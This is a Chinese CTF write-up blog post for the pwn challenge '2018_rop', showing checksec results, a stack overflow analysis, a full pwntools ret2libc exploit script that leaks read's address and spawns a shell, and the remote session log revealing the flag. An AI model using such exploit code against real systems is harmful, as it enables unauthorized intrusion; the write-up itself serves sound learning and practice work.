【pwn做题记录】铁人三项(第五赛区)_2018_rop 1

例题:铁人三项(第五赛区)_2018_rop 1

首先检查一下文件:

C:\Users\A\Downloads>checksec 2018_rop
[*] 'C:\\Users\\A\\Downloads\\2018_rop'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • 32位程序,小端序
  • GOT表只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

简单运行一下程序:
image

看一下main函数:
image

直接去看vulnerable_function()函数,因为vuln有漏洞的意思。
image
buf距离ebp有0x88字节,read写入0x100字节,显然有栈溢出。

由于程序没有/bin/sh和system,所以需要使用ret2libc

攻击脚本

from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *
#context.log_level = 'debug'

file = "./2018_rop"
elf = ELF(file)
write_plt = elf.plt["write"]
read_got = elf.got["read"] # 由于栈溢出的时候,read已经被调用了,所以要暴露read地址
main = elf.symbols["main"]
offset = 0x88 + 4

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",28590)


pay = b'a' * offset + p32(write_plt) + p32(main) + p32(1) + p32(read_got) + p32(0x4)
io.send(pay)
read = u32(io.recv(4).ljust(4,b'\x00'))
print(hex(read))

libc = LibcSearcher("read",read)
libc_base = read - libc.dump("read")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

pay = b'a' * offset + p32(system) + p32(0) + p32(bin_sh)
io.send(pay)

io.interactive()
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 28590: Done
0xf7e9d620
[+] ubuntu-glibc (id libc6-i386_2.27-3ubuntu1_amd64) be choosed.
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{82000067-cdd4-4c0e-9912-ae2525c12d24}
$ 
[*] Closed connection to node5.buuoj.cn port 28590

疑惑点

为什么这里要用write打印暴露地址,而不是用read?

系统调用 功能 数据流向
read 从文件描述符 读取数据到内存 内核 → 用户缓冲区(输入)
write 将内存数据 写入文件描述符 用户缓冲区 → 内核(输出)

这里的内核可以简单理解为键盘。

read(1, &got_puts, 4);  // 错误用法

read 的设计是 “接收输入”(如从键盘读数据),而非 “发送输出”。即使参数强行设置为 fd=1,也无法从输出流中 “读” 出数据(输出流里的数据是程序往外发的,不是给程序读的)。
而write 会将 &got_puts 指向的内存数据(4 字节,即 puts 的实际地址),写入 fd=1(stdout),最终在终端显示。
因此write 的设计就是 “输出数据”,完美契合 “泄露内存地址” 的需求。

posted @ 2025-08-08 19:45  星冥鸢  阅读(20)  评论(0)    收藏  举报